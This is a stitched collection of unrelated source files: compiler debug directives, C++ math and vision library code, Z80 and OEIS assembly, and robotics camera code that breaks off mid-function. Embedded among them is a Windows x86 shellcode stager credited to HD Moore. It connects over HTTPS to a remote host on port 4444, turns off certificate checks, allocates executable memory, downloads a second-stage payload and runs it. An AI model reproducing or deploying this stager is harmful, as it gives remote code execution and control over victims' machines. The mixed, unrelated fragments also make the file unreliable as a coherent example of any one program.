DW_TAG_TI_assign_register, DW_AT_name("FP") .dwattr $C$DW$46, DW_AT_location[DW_OP_regx 0x20] $C$DW$47 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP") .dwattr $C$DW$47, DW_AT_location[DW_OP_regx 0x21] $C$DW$48 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC") .dwattr $C$DW$48, DW_AT_location[DW_OP_regx 0x22] $C$DW$49 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP") .dwattr $C$DW$49, DW_AT_location[DW_OP_regx 0x23] $C$DW$50 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP") .dwattr $C$DW$50, DW_AT_location[DW_OP_regx 0x24] $C$DW$51 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC") .dwattr $C$DW$51, DW_AT_location[DW_OP_regx 0x25] $C$DW$52 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03") .dwattr $C$DW$52, DW_AT_location[DW_OP_regx 0x26] $C$DW$53 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47") .dwattr $C$DW$53, DW_AT_location[DW_OP_regx 0x27] $C$DW$54 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0") .dwattr $C$DW$54, DW_AT_location[DW_OP_regx 0x28] $C$DW$55 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1") .dwattr $C$DW$55, DW_AT_location[DW_OP_regx 0x29] $C$DW$56 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2") .dwattr $C$DW$56, DW_AT_location[DW_OP_regx 0x2a] $C$DW$57 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3") .dwattr $C$DW$57, DW_AT_location[DW_OP_regx 0x2b] $C$DW$58 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP") .dwattr $C$DW$58, DW_AT_location[DW_OP_regx 0x2c] $C$DW$59 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05") .dwattr $C$DW$59, DW_AT_location[DW_OP_regx 0x2d] $C$DW$60 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67") .dwattr $C$DW$60, DW_AT_location[DW_OP_regx 0x2e] $C$DW$61 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0") .dwattr $C$DW$61, DW_AT_location[DW_OP_regx 0x2f] $C$DW$62 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0") .dwattr $C$DW$62, DW_AT_location[DW_OP_regx 0x30] $C$DW$63 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H") .dwattr $C$DW$63, DW_AT_location[DW_OP_regx 0x31] $C$DW$64 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0") .dwattr $C$DW$64, DW_AT_location[DW_OP_regx 0x32] $C$DW$65 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H") .dwattr $C$DW$65, DW_AT_location[DW_OP_regx 0x33] $C$DW$66 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1") .dwattr $C$DW$66, DW_AT_location[DW_OP_regx 0x34] $C$DW$67 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1") .dwattr $C$DW$67, DW_AT_location[DW_OP_regx 0x35] $C$DW$68 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1") .dwattr $C$DW$68, DW_AT_location[DW_OP_regx 0x36] $C$DW$69 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H") .dwattr $C$DW$69, DW_AT_location[DW_OP_regx 0x37] $C$DW$70 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1") .dwattr $C$DW$70, DW_AT_location[DW_OP_regx 0x38] $C$DW$71 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H") .dwattr $C$DW$71, DW_AT_location[DW_OP_regx 0x39] $C$DW$72 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR") .dwattr $C$DW$72, DW_AT_location[DW_OP_regx 0x3a] $C$DW$73 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC") .dwattr $C$DW$73, DW_AT_location[DW_OP_regx 0x3b] $C$DW$74 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP") .dwattr $C$DW$74, DW_AT_location[DW_OP_regx 0x3c] $C$DW$75 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP") .dwattr $C$DW$75, DW_AT_location[DW_OP_regx 0x3d] $C$DW$76 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0") .dwattr $C$DW$76, DW_AT_location[DW_OP_regx 0x3e] $C$DW$77 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1") .dwattr $C$DW$77, DW_AT_location[DW_OP_regx 0x3f] $C$DW$78 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01") .dwattr $C$DW$78, DW_AT_location[DW_OP_regx 0x40] $C$DW$79 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23") .dwattr $C$DW$79, DW_AT_location[DW_OP_regx 0x41] $C$DW$80 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45") .dwattr $C$DW$80, DW_AT_location[DW_OP_regx 0x42] $C$DW$81 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67") .dwattr $C$DW$81, DW_AT_location[DW_OP_regx 0x43] $C$DW$82 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC") .dwattr $C$DW$82, DW_AT_location[DW_OP_regx 0x44] $C$DW$83 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY") .dwattr $C$DW$83, DW_AT_location[DW_OP_regx 0x45] $C$DW$84 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1") .dwattr $C$DW$84, DW_AT_location[DW_OP_regx 0x46] $C$DW$85 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2") .dwattr $C$DW$85, DW_AT_location[DW_OP_regx 0x47] $C$DW$86 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40") .dwattr $C$DW$86, DW_AT_location[DW_OP_regx 0x48] $C$DW$87 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD") .dwattr $C$DW$87, DW_AT_location[DW_OP_regx 0x49] $C$DW$88 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS") .dwattr $C$DW$88, DW_AT_location[DW_OP_regx 0x4a] $C$DW$89 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM") .dwattr $C$DW$89, DW_AT_location[DW_OP_regx 0x4b] $C$DW$90 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA") .dwattr $C$DW$90, DW_AT_location[DW_OP_regx 0x4c] $C$DW$91 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD") .dwattr $C$DW$91, DW_AT_location[DW_OP_regx 0x4d] $C$DW$92 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM") .dwattr $C$DW$92, DW_AT_location[DW_OP_regx 0x4e] $C$DW$93 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT") .dwattr $C$DW$93, DW_AT_location[DW_OP_regx 0x4f] $C$DW$94 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL") .dwattr $C$DW$94, DW_AT_location[DW_OP_regx 0x50] $C$DW$95 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM") .dwattr $C$DW$95, DW_AT_location[DW_OP_regx 0x51] $C$DW$96 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC") .dwattr $C$DW$96, DW_AT_location[DW_OP_regx 0x52] $C$DW$97 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC") .dwattr $C$DW$97, DW_AT_location[DW_OP_regx 0x53] $C$DW$98 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC") .dwattr $C$DW$98, DW_AT_location[DW_OP_regx 0x54] $C$DW$99 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC") .dwattr $C$DW$99, DW_AT_location[DW_OP_regx 0x55] $C$DW$100 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC") .dwattr $C$DW$100, DW_AT_location[DW_OP_regx 0x56] $C$DW$101 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC") .dwattr $C$DW$101, DW_AT_location[DW_OP_regx 0x57] $C$DW$102 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC") .dwattr $C$DW$102, DW_AT_location[DW_OP_regx 0x58] $C$DW$103 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC") .dwattr $C$DW$103, DW_AT_location[DW_OP_regx 0x59] $C$DW$104 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC") .dwattr $C$DW$104, DW_AT_location[DW_OP_regx 0x5a] $C$DW$105 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA") .dwattr $C$DW$105, DW_AT_location[DW_OP_regx 0x5b] .dwendtag $C$DW$CU
;-----------------------------------------------------------------------------; ; Author: HD Moore ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ; Version: 1.0 ;-----------------------------------------------------------------------------; [BITS 32] ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x696e6977 ; ... push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) internetopen: xor edi,edi push edi ; DWORD dwFlags push edi ; LPCTSTR lpszProxyBypass push edi ; LPCTSTR lpszProxyName push edi ; DWORD dwAccessType (PRECONFIG = 0) push byte 0 ; NULL pointer push esp ; LPCTSTR lpszAgent ("\x00") push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp jmp short dbl_get_server_host internetconnect: pop ebx ; Save the hostname pointer xor ecx, ecx push ecx ; DWORD_PTR dwContext (NULL) push ecx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ecx ; password push ecx ; username push dword 4444 ; PORT push ebx ; HOSTNAME push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp jmp get_server_uri httpopenrequest: pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE ;0x00800000 | ; INTERNET_FLAG_SECURE ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ;0x00000200 ; INTERNET_FLAG_NO_UI push edx ; accept types push edx ; referrer push edx ; version push ecx ; url push edx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp mov esi, eax ; hHttpRequest set_retry: push byte 0x10 pop ebx ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); set_security_options: push 0x00003380 ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp push byte 4 ; sizeof(dwFlags) push eax ; &dwFlags push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp httpsendrequest: xor edi, edi push edi ; optional length push edi ; optional push edi ; dwHeadersLength push edi ; headers push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax jnz short allocate_memory try_it_again: dec ebx jz failure jmp short set_security_options dbl_get_server_host: jmp get_server_host get_server_uri: call httpopenrequest server_uri: db "/12345", 0x00 failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); download_prep: xchg eax, ebx ; place the allocated base address in ebx push ebx ; store a copy of the stage base address on the stack push ebx ; temporary storage for bytes read count mov edi, esp ; &bytesRead download_more: push edi ; &bytesRead push 8192 ; read length push ebx ; buffer push esi ; hRequest push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) call ebp test eax,eax ; download failed? (optional?) jz failure mov eax, [edi] add ebx, eax ; buffer += bytes_received test eax,eax ; optional? jnz download_more ; continue until it returns 0 pop eax ; clear the temporary storage execute_stage: ret ; dive into the stored stage address get_server_host: call internetconnect server_host:
//================================================================================================= /*! // \file src/mathtest/dmatdmatsub/M6x6aMHa.cpp // \brief Source file for the M6x6aMHa dense matrix/dense matrix subtraction math test // // Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved // // This file is part of the Blaze library. You can redistribute it and/or modify it under // the terms of the New (Revised) BSD License. Redistribution and use in source and binary // forms, with or without modification, are permitted provided that the following conditions // are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other materials // provided with the distribution. // 3. Neither the names of the Blaze development group nor the names of its contributors // may be used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES // OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT // SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED // TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR // BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN // ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH // DAMAGE. */ //================================================================================================= //************************************************************************************************* // Includes //************************************************************************************************* #include <cstdlib> #include <iostream> #include <blaze/math/HybridMatrix.h> #include <blaze/math/StaticMatrix.h> #include <blazetest/mathtest/Creator.h> #include <blazetest/mathtest/dmatdmatsub/OperationTest.h> #include <blazetest/system/MathTest.h> #ifdef BLAZE_USE_HPX_THREADS # include <hpx/hpx_main.hpp> #endif //================================================================================================= // // MAIN FUNCTION // //================================================================================================= //************************************************************************************************* int main() { std::cout << " Running 'M6x6aMHa'..." << std::endl; using blazetest::mathtest::TypeA; try { // Matrix type definitions using M6x6a = blaze::StaticMatrix<TypeA,6UL,6UL>; using MHa = blaze::HybridMatrix<TypeA,6UL,6UL>; // Creator type definitions using CM6x6a = blazetest::Creator<M6x6a>; using CMHa = blazetest::Creator<MHa>; // Running the tests RUN_DMATDMATSUB_OPERATION_TEST( CM6x6a(), CMHa( 6UL, 6UL ) ); } catch( std::exception& ex ) { std::cerr << "\n\n ERROR DETECTED during dense matrix/dense matrix subtraction:\n" << ex.what() << "\n"; return EXIT_FAILURE; } return EXIT_SUCCESS; } //*************************************************************************************************
/************************************************************************/ /* */ /* Copyright 2004-2005 by Ullrich Koethe */ /* */ /* This file is part of the VIGRA computer vision library. */ /* The VIGRA Website is */ /* http://hci.iwr.uni-heidelberg.de/vigra/ */ /* Please direct questions, bug reports, and contributions to */ /* ullrich.koethe@iwr.uni-heidelberg.de or */ /* vigra@informatik.uni-hamburg.de */ /* */ /* Permission is hereby granted, free of charge, to any person */ /* obtaining a copy of this software and associated documentation */ /* files (the "Software"), to deal in the Software without */ /* restriction, including without limitation the rights to use, */ /* copy, modify, merge, publish, distribute, sublicense, and/or */ /* sell copies of the Software, and to permit persons to whom the */ /* Software is furnished to do so, subject to the following */ /* conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the */ /* Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES */ /* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND */ /* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT */ /* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */ /* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING */ /* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR */ /* OTHER DEALINGS IN THE SOFTWARE. */ /* */ /************************************************************************/ #ifndef VIGRA_STATIC_ASSERT_HXX #define VIGRA_STATIC_ASSERT_HXX // based on the static assertion design in boost::mpl (see www.boost.org) #define VIGRA_PREPROCESSOR_CONCATENATE(a, b) VIGRA_PREPROCESSOR_CONCATENATE_IMPL(a, b) #define VIGRA_PREPROCESSOR_CONCATENATE_IMPL(a, b) a ## b namespace vigra { namespace staticAssert { template <bool Predicate> struct AssertBool; template <> struct AssertBool<true> { typedef int type; typedef void * not_type; }; template <> struct AssertBool<false> { typedef void * type; typedef int not_type; }; template <class T> struct Assert; template <> struct Assert<VigraTrueType> { typedef int type; typedef void * not_type; }; template <> struct Assert<VigraFalseType> { typedef void * type; typedef int not_type; }; struct failure{}; struct success {}; inline int check( success ) { return 0; } template< typename Predicate > failure ************ Predicate::************ assertImpl( void (*)(Predicate), typename Predicate::not_type ); template< typename Predicate > success assertImpl( void (*)(Predicate), typename Predicate::type ); /* Usage: 1. Define an assertion class, derived from vigra::staticAssert::Assert, whose name serves as an error message: template <int N> struct FixedPoint_overflow_error__More_than_31_bits_requested : vigra::staticAssert::AssertBool<(N < 32)> {}; 2. Call VIGRA_STATIC_ASSERT() with the assertion class: template <int N> void test() { // signal error if N > 31 VIGRA_STATIC_ASSERT((FixedPoint_overflow_error__More_than_31_bits_requested<N>)); } TODO: provide more assertion base classes for other (non boolean) types of tests */ #if !defined(__GNUC__) || __GNUC__ > 2 #define VIGRA_STATIC_ASSERT(Predicate) \ enum { \ VIGRA_PREPROCESSOR_CONCATENATE(vigra_assertion_in_line_, __LINE__) = sizeof( \ staticAssert::check( \ staticAssert::assertImpl( (void (*) Predicate)0, 1 ) \ ) \ ) \ } #else #define VIGRA_STATIC_ASSERT(Predicate) #endif } // namespace staticAssert } // namespace vigra #endif // VIGRA_STATIC_ASSERT_HXX
#pragma once #include "search/hotels_classifier.hpp" #include "search/search_params.hpp" #include "std/function.hpp" namespace search { class Results; // An on-results-callback that should be used for interactive search. // // *NOTE* the class is NOT thread safe. class ViewportSearchCallback { public: class Delegate { public: virtual ~Delegate() = default; virtual void RunUITask(function<void()> fn) = 0; virtual void SetHotelDisplacementMode() = 0; virtual bool IsViewportSearchActive() const = 0; virtual void ShowViewportSearchResults(Results const & results) = 0; virtual void ClearViewportSearchResults() = 0; }; using TOnResults = SearchParams::TOnResults; ViewportSearchCallback(Delegate & delegate, TOnResults onResults); void operator()(Results const & results); private: Delegate & m_delegate; TOnResults m_onResults; HotelsClassifier m_hotelsClassif; bool m_hotelsModeSet; bool m_firstCall; }; } // namespace search
; A185593: a(n) = floor(n^(3/2))*floor(3+n^(3/2))/2. ; 2,5,20,44,77,119,189,275,405,527,702,902,1127,1430,1769,2144,2555,3002,3485,4094,4752,5459,6215,7020,8000,8910,10010,11174,12402,13694,15050,16652,18144,19899,21735,23652,25650,27729,29889,32130,34715,37400,39902,42777,45752,48827,52325,55610,59339,62834,66794,70499,74690,79002,83435,88409,93095,97902,103284,108344,114002,119804,125750,131840,138074,144452,150974,157640,165024,171990,179699,186965,194999,203202,211574,220115,228825,237704,247455,256685,266814,276395,286902,296834,307719,318800,330077,341550,353219,365084,378014,390285,402752,416327,429200,443210,457445,471905,486590,501500,516635,531995,547580,563390,579425,596777,613277,631125,648090,666434,685034,703890,723002,742370,761994,781874,802010,822402,844349,865269,887777,909225,932294,954270,977900,1001819,1026027,1050524,1075310,1100385,1125749,1151402,1177344,1205127,1231664,1260077,1287209,1316252,1343979,1373652,1403649,1433970,1464615,1495584,1526877,1558494,1590435,1622700,1655289,1690040,1723295,1756874,1792670,1828827,1863414,1900274,1937495,1975077,2011014,2049299,2087945,2126952,2168402,2208150,2248259,2288729,2331719,2372930,2416700,2458652,2503202,2545895,2591225,2636955,2683085,2727279,2774189,2821499,2869209,2917319,2968265,3017195,3066525,3116255,3168902,3219452,3272960,3324330,3378699,3430889,3486119,3541790,3597902,3654455,3711449,3768884,3826760,3885077,3943835,4003034,4062674,4122755,4186170,4247154,4311515,4373402,4438709,4501499,4567752,4634489,4698644,4766327,4834494,4903145,4972280,5041899,5112002,5182589,5253660,5328479,5400540,5473085,5549445,5622980,5700375,5774900,5853330,5928845,6008310,6088304,6165315,6246344,6327902,6409989,6492605,6575750,6659424,6743627,6828359,6917339,7003152,7089494,7176365,7267577,7355529,7447869,7536902,7630370,7724414,7815080 add $0,1 cal $0,77121 ; Number of integer squares <= n^3. mov $1,$0 pow $0,2 add $0,1 sub $1,2 add $0,$1 mov $1,$0 sub $1,5 div $1,2 add $1,2
; =============================================================== ; Jan 2014 ; =============================================================== ; ; int putc(int c, FILE *stream) ; ; Write char on stream. ; ; =============================================================== INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC asm_putc EXTERN asm_fputc defc asm_putc = asm_fputc ; enter : ix = FILE * ; e = char c ; ; exit : ix = FILE * ; ; success ; ; hl = char c ; carry reset ; ; fail ; ; hl = -1 ; carry set, errno set ; ; uses : all except ix ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC asm_putc EXTERN asm_putc_unlocked defc asm_putc = asm_putc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
/*----------------------------------------------------------------------------*/ /* Copyright (c) FIRST 2015. All Rights Reserved. */ /* Open Source Software - may be modified and shared by FRC teams. The code */ /* must be accompanied by the FIRST BSD license file in the root directory of */ /* the project. */ /*----------------------------------------------------------------------------*/ #ifndef CSCORE_OO_INL_ #define CSCORE_OO_INL_ namespace cs { inline std::string VideoProperty::GetName() const { m_status = 0; return GetPropertyName(m_handle, &m_status); } inline int VideoProperty::Get() const { m_status = 0; return GetProperty(m_handle, &m_status); } inline void VideoProperty::Set(int value) { m_status = 0; SetProperty(m_handle, value, &m_status); } inline int VideoProperty::GetMin() const { m_status = 0; return GetPropertyMin(m_handle, &m_status); } inline int VideoProperty::GetMax() const { m_status = 0; return GetPropertyMax(m_handle, &m_status); } inline int VideoProperty::GetStep() const { m_status = 0; return GetPropertyStep(m_handle, &m_status); } inline int VideoProperty::GetDefault() const { m_status = 0; return GetPropertyDefault(m_handle, &m_status); } inline std::string VideoProperty::GetString() const { m_status = 0; return GetStringProperty(m_handle, &m_status); } inline wpi::StringRef VideoProperty::GetString( wpi::SmallVectorImpl<char>& buf) const { m_status = 0; return GetStringProperty(m_handle, buf, &m_status); } inline void VideoProperty::SetString(const wpi::Twine& value) { m_status = 0; SetStringProperty(m_handle, value, &m_status); } inline std::vector<std::string> VideoProperty::GetChoices() const { m_status = 0; return GetEnumPropertyChoices(m_handle, &m_status); } inline VideoProperty::VideoProperty(CS_Property handle) : m_handle(handle) { m_status = 0; if (handle == 0) m_kind = kNone; else m_kind = static_cast<Kind>(static_cast<int>(GetPropertyKind(handle, &m_status))); } inline VideoProperty::VideoProperty(CS_Property handle, Kind kind) : m_status(0), m_handle(handle), m_kind(kind) {} inline VideoSource::VideoSource(const VideoSource& source) : m_handle(source.m_handle == 0 ? 0 : CopySource(source.m_handle, &m_status)) {} inline VideoSource::VideoSource(VideoSource&& other) noexcept : VideoSource() { swap(*this, other); } inline VideoSource& VideoSource::operator=(VideoSource other) noexcept { swap(*this, other); return *this; } inline VideoSource::~VideoSource() { m_status = 0; if (m_handle != 0) ReleaseSource(m_handle, &m_status); } inline VideoSource::Kind VideoSource::GetKind() const { m_status = 0; return static_cast<VideoSource::Kind>(GetSourceKind(m_handle, &m_status)); } inline std::string VideoSource::GetName() const { m_status = 0; return GetSourceName(m_handle, &m_status); } inline std::string VideoSource::GetDescription() const { m_status = 0; return GetSourceDescription(m_handle, &m_status); } inline uint64_t VideoSource::GetLastFrameTime() const { m_status = 0; return GetSourceLastFrameTime(m_handle, &m_status); } inline void VideoSource::SetConnectionStrategy(ConnectionStrategy strategy) { m_status = 0; SetSourceConnectionStrategy( m_handle, static_cast<CS_ConnectionStrategy>(static_cast<int>(strategy)), &m_status); } inline bool VideoSource::IsConnected() const { m_status = 0; return IsSourceConnected(m_handle, &m_status); } inline bool VideoSource::IsEnabled() const { m_status = 0; return IsSourceEnabled(m_handle, &m_status); } inline VideoProperty VideoSource::GetProperty(const wpi::Twine& name) { m_status = 0; return VideoProperty{GetSourceProperty(m_handle, name, &m_status)}; } inline VideoMode VideoSource::GetVideoMode() const { m_status = 0; return GetSourceVideoMode(m_handle, &m_status); } inline bool VideoSource::SetVideoMode(const VideoMode& mode) { m_status = 0; return SetSourceVideoMode(m_handle, mode, &m_status); } inline bool VideoSource::SetVideoMode(VideoMode::PixelFormat pixelFormat, int width, int height, int fps) { m_status = 0; return SetSourceVideoMode( m_handle, VideoMode{pixelFormat, width, height, fps}, &m_status); } inline bool VideoSource::SetPixelFormat(VideoMode::PixelFormat pixelFormat) { m_status = 0; return SetSourcePixelFormat(m_handle, pixelFormat, &m_status); } inline bool VideoSource::SetResolution(int width, int height) { m_status = 0; return SetSourceResolution(m_handle, width, height, &m_status); } inline bool VideoSource::SetFPS(int fps) { m_status = 0; return SetSourceFPS(m_handle, fps, &m_status); } inline bool VideoSource::SetConfigJson(wpi::StringRef config) { m_status = 0; return SetSourceConfigJson(m_handle, config, &m_status); } inline bool VideoSource::SetConfigJson(const wpi::json& config) { m_status = 0; return SetSourceConfigJson(m_handle, config, &m_status); } inline std::string VideoSource::GetConfigJson() const { m_status = 0; return GetSourceConfigJson(m_handle, &m_status); } inline double VideoSource::GetActualFPS() const { m_status = 0; return cs::GetTelemetryAverageValue(m_handle, CS_SOURCE_FRAMES_RECEIVED, &m_status); } inline double VideoSource::GetActualDataRate() const { m_status = 0; return cs::GetTelemetryAverageValue(m_handle, CS_SOURCE_BYTES_RECEIVED, &m_status); } inline std::vector<VideoMode> VideoSource::EnumerateVideoModes() const { CS_Status status = 0; return EnumerateSourceVideoModes(m_handle, &status); } inline void VideoCamera::SetBrightness(int brightness) { m_status = 0; SetCameraBrightness(m_handle, brightness, &m_status); } inline int VideoCamera::GetBrightness() { m_status = 0; return GetCameraBrightness(m_handle, &m_status); } inline void VideoCamera::SetWhiteBalanceAuto() { m_status = 0; SetCameraWhiteBalanceAuto(m_handle, &m_status); } inline void VideoCamera::SetWhiteBalanceHoldCurrent() { m_status = 0; SetCameraWhiteBalanceHoldCurrent(m_handle, &m_status); } inline void VideoCamera::SetWhiteBalanceManual(int value) { m_status = 0; SetCameraWhiteBalanceManual(m_handle, value, &m_status); } inline void VideoCamera::SetExposureAuto() { m_status = 0; SetCameraExposureAuto(m_handle, &m_status); } inline void VideoCamera::SetExposureHoldCurrent() { m_status = 0; SetCameraExposureHoldCurrent(m_handle, &m_status); } inline void VideoCamera::SetExposureManual(int value) { m_status = 0; SetCameraExposureManual(m_handle, value, &m_status); } inline UsbCamera::UsbCamera(const wpi::Twine& name, int dev) { m_handle = CreateUsbCameraDev(name, dev, &m_status); } inline UsbCamera::UsbCamera(const wpi::Twine& name, const wpi::Twine& path) { m_handle = CreateUsbCameraPath(name, path, &m_status); } inline std::vector<UsbCameraInfo> UsbCamera::EnumerateUsbCameras() { CS_Status status = 0; return ::cs::EnumerateUsbCameras(&status); } inline std::string UsbCamera::GetPath() const { m_status = 0; return ::cs::GetUsbCameraPath(m_handle, &m_status); } inline UsbCameraInfo UsbCamera::GetInfo() const { m_status = 0; return ::cs::GetUsbCameraInfo(m_handle, &m_status); } inline void UsbCamera::SetConnectVerbose(int level) { m_status = 0; SetProperty(GetSourceProperty(m_handle, "connect_verbose", &m_status), level, &m_status); } inline HttpCamera::HttpCamera(const wpi::Twine& name, const wpi::Twine& url, HttpCameraKind kind) { m_handle = CreateHttpCamera( name, url, 